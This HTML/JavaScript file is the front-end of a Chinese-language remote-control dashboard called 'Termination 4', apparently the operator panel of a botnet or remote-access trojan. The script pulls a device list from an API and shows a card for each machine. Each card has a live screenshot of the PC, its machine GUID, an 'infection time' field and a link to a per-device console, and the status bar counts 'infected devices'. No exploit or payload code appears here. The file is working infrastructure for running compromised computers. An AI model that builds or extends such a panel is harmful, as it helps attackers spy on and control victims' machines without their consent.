510 lines
20 KiB
HTML
510 lines
20 KiB
HTML
<!DOCTYPE html>
|
||
<html lang="zh-CN">
|
||
<head>
|
||
<meta charset="UTF-8">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||
<title>Termination 4 远程控制系统</title>
|
||
<script src="https://cdn.tailwindcss.com"></script>
|
||
<link href="https://cdn.gvsds.com/font-awesome/css/all.min.css" rel="stylesheet">
|
||
<!-- 配置Tailwind主题 -->
|
||
<script>
|
||
tailwind.config = {
|
||
darkMode: 'class',
|
||
theme: {
|
||
extend: {
|
||
colors: {
|
||
primary: '#6C5CE7',
|
||
secondary: '#00F5D4',
|
||
accent: '#FF3E7E',
|
||
dark: '#0F172A',
|
||
darker: '#0A0F1C',
|
||
'dark-card': '#1E293B',
|
||
},
|
||
fontFamily: {
|
||
cyber: ['Orbitron', 'sans-serif'],
|
||
modern: ['Inter', 'sans-serif'],
|
||
},
|
||
animation: {
|
||
'pulse-slow': 'pulse 3s cubic-bezier(0.4, 0, 0.6, 1) infinite',
|
||
'float': 'float 6s ease-in-out infinite',
|
||
'glow': 'glow 2s ease-in-out infinite alternate',
|
||
'spin-slow': 'spin 2s linear infinite',
|
||
},
|
||
keyframes: {
|
||
float: {
|
||
'0%, 100%': { transform: 'translateY(0)' },
|
||
'50%': { transform: 'translateY(-10px)' },
|
||
},
|
||
glow: {
|
||
'0%': { boxShadow: '0 0 5px rgba(108, 92, 231, 0.5), 0 0 10px rgba(108, 92, 231, 0.3)' },
|
||
'100%': { boxShadow: '0 0 10px rgba(108, 92, 231, 0.8), 0 0 20px rgba(108, 92, 231, 0.5), 0 0 30px rgba(108, 92, 231, 0.3)' },
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
</script>
|
||
|
||
<style type="text/tailwindcss">
|
||
@layer utilities {
|
||
.content-auto {
|
||
content-visibility: auto;
|
||
}
|
||
.text-shadow {
|
||
text-shadow: 0 0 10px rgba(108, 92, 231, 0.7);
|
||
}
|
||
.text-shadow-glow {
|
||
text-shadow: 0 0 5px rgba(0, 245, 212, 0.8), 0 0 10px rgba(0, 245, 212, 0.5);
|
||
}
|
||
.bg-grid {
|
||
background-image:
|
||
linear-gradient(rgba(30, 41, 59, 0.1) 1px, transparent 1px),
|
||
linear-gradient(90deg, rgba(30, 41, 59, 0.1) 1px, transparent 1px);
|
||
background-size: 20px 20px;
|
||
}
|
||
.card-overlay {
|
||
background: linear-gradient(to bottom, rgba(14, 21, 38, 0) 0%, rgba(14, 21, 38, 0.8) 70%, rgba(14, 21, 38, 0.95) 100%);
|
||
}
|
||
.glass-effect {
|
||
backdrop-filter: blur(8px);
|
||
background: rgba(30, 41, 59, 0.6);
|
||
}
|
||
.refresh-pulse {
|
||
animation: refresh-pulse 2s infinite;
|
||
}
|
||
@keyframes refresh-pulse {
|
||
0%, 100% { opacity: 1; }
|
||
50% { opacity: 0.5; }
|
||
}
|
||
}
|
||
</style>
|
||
|
||
<!-- 导入特殊字体 -->
|
||
<link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;500;600;700;800;900&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
|
||
|
||
<!-- 自定义滚动条样式 -->
|
||
<style>
|
||
/* 整体滚动条 */
|
||
::-webkit-scrollbar {
|
||
width: 8px;
|
||
height: 8px;
|
||
}
|
||
|
||
/* 滚动条轨道 */
|
||
::-webkit-scrollbar-track {
|
||
background: rgba(14, 21, 38, 0.8);
|
||
border-radius: 4px;
|
||
}
|
||
|
||
/* 滚动条滑块 */
|
||
::-webkit-scrollbar-thumb {
|
||
background: rgba(108, 92, 231, 0.4);
|
||
border-radius: 4px;
|
||
border: 1px solid rgba(108, 92, 231, 0.2);
|
||
box-shadow: 0 0 5px rgba(108, 92, 231, 0.5),
|
||
0 0 10px rgba(108, 92, 231, 0.3);
|
||
transition: all 0.3s ease;
|
||
}
|
||
|
||
/* 滚动条滑块悬停 */
|
||
::-webkit-scrollbar-thumb:hover {
|
||
background: rgba(108, 92, 231, 0.6);
|
||
box-shadow: 0 0 8px rgba(108, 92, 231, 0.7),
|
||
0 0 15px rgba(108, 92, 231, 0.5);
|
||
}
|
||
|
||
/* 滚动条滑块激活 */
|
||
::-webkit-scrollbar-thumb:active {
|
||
background: rgba(108, 92, 231, 0.8);
|
||
box-shadow: 0 0 10px rgba(108, 92, 231, 0.9),
|
||
0 0 20px rgba(108, 92, 231, 0.7);
|
||
}
|
||
|
||
/* 滚动条角落 */
|
||
::-webkit-scrollbar-corner {
|
||
background: transparent;
|
||
}
|
||
|
||
/* 自定义滚动条动画 */
|
||
@keyframes scroll-glow {
|
||
0% {
|
||
box-shadow: 0 0 5px rgba(108, 92, 231, 0.5),
|
||
0 0 10px rgba(108, 92, 231, 0.3);
|
||
}
|
||
50% {
|
||
box-shadow: 0 0 10px rgba(108, 92, 231, 0.8),
|
||
0 0 20px rgba(108, 92, 231, 0.5),
|
||
0 0 30px rgba(108, 92, 231, 0.3);
|
||
}
|
||
100% {
|
||
box-shadow: 0 0 5px rgba(108, 92, 231, 0.5),
|
||
0 0 10px rgba(108, 92, 231, 0.3);
|
||
}
|
||
}
|
||
|
||
/* 应用动画 */
|
||
.scroll-animate::-webkit-scrollbar-thumb {
|
||
animation: scroll-glow 2s ease-in-out infinite;
|
||
}
|
||
</style>
|
||
</head>
|
||
|
||
<body class="bg-darker text-gray-200 font-modern bg-grid min-h-screen scroll-animate">
|
||
<!-- 页面标题 -->
|
||
<header class="relative py-8 px-4 md:px-8 lg:px-16 overflow-hidden">
|
||
<div class="absolute top-0 left-0 w-full h-full bg-[radial-gradient(circle_at_top_right,rgba(108,92,231,0.15),transparent_40%)]"></div>
|
||
<div class="relative z-10">
|
||
<h1 class="font-cyber text-[clamp(1.8rem,5vw,3.5rem)] font-bold text-white text-shadow mb-2 tracking-wider">
|
||
<span class="text-primary">Termination</span>
|
||
<span class="text-secondary text-shadow-glow"> 4</span>
|
||
</h1>
|
||
<p class="font-cyber text-gray-400 text-[clamp(1rem,2vw,1.25rem)] tracking-wide">
|
||
黯刃傀儡远程控制系统
|
||
</p>
|
||
<div class="w-32 h-1 bg-gradient-to-r from-primary to-secondary mt-4 animate-pulse-slow"></div>
|
||
</div>
|
||
</header>
|
||
|
||
<!-- 主内容区 -->
|
||
<main class="px-4 md:px-8 lg:px-16 pb-16">
|
||
<!-- 状态信息栏 -->
|
||
<div class="glass-effect rounded-lg p-4 mb-8 border border-primary/20">
|
||
<div class="flex flex-wrap justify-between items-center gap-4">
|
||
<div class="flex items-center gap-2">
|
||
<div class="w-3 h-3 rounded-full bg-green-500 animate-pulse"></div>
|
||
<span class="text-sm md:text-base">系统状态: 在线</span>
|
||
</div>
|
||
<div class="text-sm md:text-base text-gray-400">
|
||
<span id="current-time">加载中...</span>
|
||
</div>
|
||
<div class="text-sm md:text-base">
|
||
已感染设备: <span id="device-count" class="text-secondary font-semibold">0</span>
|
||
</div>
|
||
<div class="flex items-center gap-2">
|
||
<span id="refresh-countdown" class="text-xs md:text-sm text-gray-400">5:00</span>
|
||
<button id="refresh-btn" class="bg-primary/20 hover:bg-primary/30 text-primary p-2 rounded transition-all duration-300">
|
||
<i class="fa fa-refresh"></i>
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 通知组件 -->
|
||
<div id="notification" class="fixed bottom-4 right-4 rounded-lg p-4 transform translate-y-20 opacity-0 transition-all duration-500 shadow-lg z-50 max-w-xs"></div>
|
||
|
||
<!-- 设备卡片容器 -->
|
||
<div id="device-container" class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-6">
|
||
<!-- 加载动画 - 初始显示 -->
|
||
<div id="loading-placeholder" class="col-span-full flex flex-col items-center justify-center py-16">
|
||
<div class="w-16 h-16 border-4 border-primary border-t-transparent rounded-full animate-spin mb-6"></div>
|
||
<p class="font-cyber text-primary animate-pulse">正在从服务器获取设备数据...</p>
|
||
</div>
|
||
|
||
<!-- 错误状态显示 -->
|
||
<div id="error-placeholder" class="col-span-full hidden flex-col items-center justify-center py-16 text-center">
|
||
<div class="w-16 h-16 rounded-full bg-accent/20 flex items-center justify-center mb-6">
|
||
<i class="fa fa-exclamation-triangle text-accent text-2xl"></i>
|
||
</div>
|
||
<h3 class="font-cyber text-white text-xl mb-2">数据加载失败</h3>
|
||
<p class="text-gray-400 mb-6 max-w-md">无法连接到服务器获取设备列表,请检查网络连接或稍后重试</p>
|
||
<button id="retry-btn" class="bg-primary hover:bg-primary/80 text-white py-2 px-6 rounded text-sm transition-all duration-300 font-medium">
|
||
重试连接
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</main>
|
||
|
||
<script>
|
||
// 设备数据URL(实际项目中替换为真实API地址)
|
||
const DEVICES_API_URL = '/API/T4/computers.api';
|
||
|
||
// 更新当前时间
|
||
function updateCurrentTime() {
|
||
const now = new Date();
|
||
const timeString = now.toLocaleString('zh-CN', {
|
||
year: 'numeric',
|
||
month: '2-digit',
|
||
day: '2-digit',
|
||
hour: '2-digit',
|
||
minute: '2-digit',
|
||
second: '2-digit'
|
||
});
|
||
document.getElementById('current-time').textContent = timeString;
|
||
}
|
||
|
||
// 每秒更新时间
|
||
setInterval(updateCurrentTime, 1000);
|
||
updateCurrentTime();
|
||
|
||
// 显示通知
|
||
function showNotification(message, type = 'info') {
|
||
const notification = document.getElementById('notification');
|
||
let bgColor, borderColor, icon, title;
|
||
|
||
switch(type) {
|
||
case 'success':
|
||
bgColor = 'bg-green-900/30';
|
||
borderColor = 'border-green-500/30';
|
||
icon = 'fa-check-circle';
|
||
title = '操作成功';
|
||
break;
|
||
case 'error':
|
||
bgColor = 'bg-red-900/30';
|
||
borderColor = 'border-red-500/30';
|
||
icon = 'fa-exclamation-circle';
|
||
title = '操作失败';
|
||
break;
|
||
case 'warning':
|
||
bgColor = 'bg-yellow-900/30';
|
||
borderColor = 'border-yellow-500/30';
|
||
icon = 'fa-exclamation-triangle';
|
||
title = '警告';
|
||
break;
|
||
default:
|
||
bgColor = 'bg-dark-card';
|
||
borderColor = 'border-primary/30';
|
||
icon = 'fa-info-circle';
|
||
title = '系统通知';
|
||
}
|
||
|
||
notification.className = `fixed bottom-4 right-4 ${bgColor} ${borderColor} rounded-lg p-4 transform translate-y-20 opacity-0 transition-all duration-500 shadow-lg z-50 max-w-xs`;
|
||
notification.innerHTML = `
|
||
<div class="flex items-start gap-3">
|
||
<div class="${bgColor.replace('bg-', 'bg-').replace('/30', '/20')} p-2 rounded-full text-${type === 'success' ? 'green-400' : type === 'error' ? 'red-400' : type === 'warning' ? 'yellow-400' : 'primary'}">
|
||
<i class="fa ${icon}"></i>
|
||
</div>
|
||
<div>
|
||
<h4 class="font-medium text-white">${title}</h4>
|
||
<p class="text-sm text-gray-400 mt-1">${message}</p>
|
||
</div>
|
||
</div>
|
||
`;
|
||
|
||
// 显示通知
|
||
setTimeout(() => {
|
||
notification.classList.remove('translate-y-20', 'opacity-0');
|
||
}, 100);
|
||
|
||
// 3秒后隐藏通知
|
||
setTimeout(() => {
|
||
notification.classList.add('translate-y-20', 'opacity-0');
|
||
}, 3000);
|
||
}
|
||
|
||
// 自动刷新倒计时
|
||
let countdownInterval;
|
||
let secondsLeft = 300; // 5分钟
|
||
|
||
function startCountdown() {
|
||
updateCountdown();
|
||
countdownInterval = setInterval(() => {
|
||
secondsLeft--;
|
||
updateCountdown();
|
||
|
||
if (secondsLeft <= 0) {
|
||
clearInterval(countdownInterval);
|
||
fetchDevicesData(true); // 自动刷新
|
||
secondsLeft = 300;
|
||
startCountdown();
|
||
}
|
||
}, 1000);
|
||
}
|
||
|
||
function updateCountdown() {
|
||
const minutes = Math.floor(secondsLeft / 60);
|
||
const seconds = secondsLeft % 60;
|
||
document.getElementById('refresh-countdown').textContent =
|
||
`${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')}`;
|
||
}
|
||
|
||
// 异步获取设备数据
|
||
async function fetchDevicesData(isAutoRefresh = false) {
|
||
const container = document.getElementById('device-container');
|
||
const refreshBtn = document.getElementById('refresh-btn');
|
||
const loadingPlaceholder = document.getElementById('loading-placeholder');
|
||
const errorPlaceholder = document.getElementById('error-placeholder');
|
||
|
||
// 显示加载状态
|
||
refreshBtn.innerHTML = '<i class="fa fa-refresh fa-spin"></i>';
|
||
refreshBtn.disabled = true;
|
||
|
||
// 隐藏错误状态,显示加载状态
|
||
errorPlaceholder.classList.add('hidden');
|
||
loadingPlaceholder.classList.remove('hidden');
|
||
|
||
// 关键修复:彻底清除所有设备卡片(保留占位符)
|
||
// 先保存占位符引用
|
||
const placeholders = [loadingPlaceholder, errorPlaceholder];
|
||
// 遍历并移除所有非占位符子元素
|
||
const children = Array.from(container.children);
|
||
children.forEach(child => {
|
||
if (!placeholders.includes(child)) {
|
||
container.removeChild(child);
|
||
}
|
||
});
|
||
|
||
try {
|
||
// 发起异步请求
|
||
const response = await fetch(DEVICES_API_URL);
|
||
|
||
// 检查请求是否成功
|
||
if (!response.ok) {
|
||
throw new Error(`HTTP错误: ${response.status}`);
|
||
}
|
||
|
||
// 解析JSON数据(实际项目中直接使用response.json())
|
||
// 由于使用占位API,这里用模拟数据替代
|
||
const apiData = await response.json();
|
||
const devicesData = apiData;
|
||
|
||
// 隐藏加载占位符
|
||
loadingPlaceholder.classList.add('hidden');
|
||
|
||
// 更新设备计数
|
||
document.getElementById('device-count').textContent = devicesData.length;
|
||
|
||
// 为每个设备创建卡片
|
||
devicesData.forEach((device, index) => {
|
||
setTimeout(() => {
|
||
const card = document.createElement('div');
|
||
card.className = 'bg-dark-card rounded-lg overflow-hidden shadow-lg border border-primary/20 transform transition-all duration-500 hover:scale-[1.02] hover:z-10 hover:animate-glow opacity-0 translate-y-4';
|
||
card.style.animationDelay = `${index * 0.1}s`;
|
||
|
||
// 连接状态样式
|
||
const isConnected = device.PConnectime && device.PConnectime !== "NO CONNECTED";
|
||
const statusClass = isConnected ? "bg-green-500" : "bg-red-500";
|
||
const statusText = isConnected ? "CONNECTED" : "NO CONNECTED";
|
||
|
||
card.innerHTML = `
|
||
<div class="relative h-48 overflow-hidden">
|
||
<img src="/API/GetT4ComputerPCPng.api?PCMachineGUID=${device.PCMachineGUID}" alt="${device.PCName} 截图"
|
||
class="w-full h-full object-cover transition-transform duration-700 hover:scale-110">
|
||
<div class="absolute top-2 right-2 flex items-center gap-1.5 px-2 py-1 rounded text-xs font-medium glass-effect">
|
||
<span class="w-2 h-2 rounded-full ${statusClass}"></span>
|
||
${statusText}
|
||
</div>
|
||
<div class="absolute top-0 left-0 w-full h-full card-overlay"></div>
|
||
<div class="absolute bottom-3 left-3 font-cyber">
|
||
<h3 class="text-white font-bold text-lg">${device.PCName}</h3>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="p-4 space-y-2">
|
||
<div class="text-sm">
|
||
<span class="text-gray-400">设备构建 ID:</span>
|
||
<span class="block truncate mt-1 text-primary">${device.PCMachineGUID}</span>
|
||
</div>
|
||
|
||
<div class="text-sm">
|
||
<span class="text-gray-400">设备感染时间:</span>
|
||
<span class="block mt-1">${device.PCreateTime}</span>
|
||
</div>
|
||
|
||
<div class="text-sm">
|
||
<span class="text-gray-400">设备连接时间:</span>
|
||
<span class="block mt-1 ${isConnected ? 'text-secondary' : 'text-gray-500'}">${device.PConnectime}</span>
|
||
</div>
|
||
|
||
<div class="text-sm">
|
||
<span class="text-gray-400">设备同步时间:</span>
|
||
<span class="block mt-1 ${isConnected ? 'text-secondary' : 'text-gray-500'}">${device.PCLastSynchronizationTime}</span>
|
||
</div>
|
||
|
||
<div class="grid grid-cols-2 gap-2 mt-2">
|
||
<div class="text-sm">
|
||
<span class="text-gray-400">T 版本:</span>
|
||
<span class="block mt-1">${device.PCVersion}</span>
|
||
</div>
|
||
<div class="text-sm">
|
||
<span class="text-gray-400">T 编译:</span>
|
||
<span class="block mt-1 truncate">${device.PCompilation}</span>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="flex gap-2 mt-4">
|
||
<button class="view-btn flex-1 bg-primary/20 hover:bg-primary/30 text-primary py-2 px-3 rounded text-sm transition-all duration-300 flex items-center justify-center gap-1">
|
||
<i class="fa fa-eye"></i> 查看
|
||
</button>
|
||
<button class="delete-btn bg-accent/20 hover:bg-accent/30 text-accent py-2 px-3 rounded text-sm transition-all duration-300 flex items-center justify-center gap-1">
|
||
<i class="fa fa-trash"></i> 删除
|
||
</button>
|
||
</div>
|
||
</div>
|
||
`;
|
||
|
||
container.appendChild(card);
|
||
|
||
// 触发动画
|
||
setTimeout(() => {
|
||
card.classList.remove('opacity-0', 'translate-y-4');
|
||
}, 50);
|
||
|
||
// 为按钮添加事件
|
||
card.querySelector('.view-btn').addEventListener('click', () => {
|
||
window.open(`./console.html?PCMachineGUID=${device.PCMachineGUID}`);
|
||
showNotification(`正在查看设备 ${device.PCName} 的详细信息`, 'info');
|
||
});
|
||
|
||
card.querySelector('.delete-btn').addEventListener('click', () => {
|
||
if (confirm(`确定要删除设备 ${device.PCName} 吗?`)) {
|
||
card.classList.add('opacity-0', 'scale-95');
|
||
setTimeout(() => {
|
||
card.remove();
|
||
document.getElementById('device-count').textContent = container.children.length -
|
||
(loadingPlaceholder.classList.contains('hidden') ? 0 : 1) -
|
||
(errorPlaceholder.classList.contains('hidden') ? 0 : 1);
|
||
showNotification(`设备 ${device.PCName} 已成功删除`, 'success');
|
||
}, 300);
|
||
}
|
||
});
|
||
|
||
}, index * 100);
|
||
});
|
||
|
||
// 显示刷新通知(仅自动刷新时)
|
||
if (isAutoRefresh) {
|
||
showNotification('设备列表已自动更新', 'success');
|
||
}
|
||
|
||
} catch (error) {
|
||
console.error('获取设备数据失败:', error);
|
||
|
||
// 显示错误状态
|
||
loadingPlaceholder.classList.add('hidden');
|
||
errorPlaceholder.classList.remove('hidden');
|
||
|
||
// 显示错误通知
|
||
showNotification(`获取设备数据失败: ${error.message}`, 'error');
|
||
|
||
} finally {
|
||
// 恢复刷新按钮状态
|
||
refreshBtn.innerHTML = '<i class="fa fa-refresh"></i>';
|
||
refreshBtn.disabled = false;
|
||
}
|
||
}
|
||
|
||
// 页面加载完成后获取数据并启动倒计时
|
||
window.addEventListener('DOMContentLoaded', () => {
|
||
fetchDevicesData();
|
||
startCountdown();
|
||
|
||
// 绑定刷新按钮事件
|
||
document.getElementById('refresh-btn').addEventListener('click', () => {
|
||
// 重置倒计时
|
||
clearInterval(countdownInterval);
|
||
secondsLeft = 300;
|
||
updateCountdown();
|
||
startCountdown();
|
||
|
||
// 刷新设备
|
||
fetchDevicesData();
|
||
});
|
||
|
||
// 绑定重试按钮事件
|
||
document.getElementById('retry-btn').addEventListener('click', () => {
|
||
fetchDevicesData();
|
||
});
|
||
});
|
||
</script>
|
||
</body>
|
||
</html> |